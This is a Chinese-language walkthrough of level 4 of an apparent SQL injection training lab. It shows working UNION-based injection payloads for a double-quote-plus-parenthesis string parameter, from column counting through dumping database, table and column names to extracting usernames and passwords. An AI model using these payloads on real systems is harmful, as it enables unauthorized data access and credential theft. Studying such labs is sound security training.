第四关请求方式为 GET请求 , 注入点为 双引号+括号的字符型 , 注入方式为 联合注入
第一步,判断注入类型
在参数中添加单引号' , 正常显示
再试试双引号
?id=1"
数据库报错了
分析一下数据库的错误 , 最外层的单引号是数据库的格式,我们不用管 , 1" 是我们输入的参数 , 我们可以看到 , 1" 参数旁边有一个双引号和一个括号 , 也就是说后端的SQL中对参数包裹了双引号和括号 固 双引号+括号的字符型注入
源码如下
第二步,获取字段数
order by 从第1列开始排序,依次测试第2,3,4...列
?id=1") order by 4 -- a
第4列时开始报错 , 也就是返回结果只有3列 , 固 字段数为 3
第三步,获取显示位
union 联合查询获取字段的显示位置
?id=-1") union select 1,2,3 -- a
联合查询的 select 1,2,3 , 与上一步获取的字段数相对应
此处id=-1 , 由于用户的id没有负数 , 所有查询不到用户数据,查询结果只要联合查询的 1 2 3 这一条结果,方便字段位置的查看
第四步,脱库
爆库
查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有数据库名
?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata -- -
此处的 group_concat() , 可将多行结果合并为一行, 目的在于更方便的查看结果
获取当前使用的数据库
?id=-1") union select 1,2,database() -- -
此处的 database() , 可返回当前使用的数据库
可知, 当前使用的数据库为 security , 接下来根据 security数据库获取其所有表
爆表
查询information_schema默认数据库的tables表的table_name字段 , 该字段保存了所有表名
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- -
此关卡使用的表为users表 , 下一步根据users表 获取其所有字段
爆字段
查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- -
可知数据库为 security, 表为 users, 字段为 id,username,password, 下一步根据这些信息查询用户账号和密码
获取账号和密码
?id=-1") union select 1,2,group_concat(username,'~',password) from security.users -- -
此处的 group_concat(username,'~',password) , 可将多行结果合并为一行,并使用'~'分隔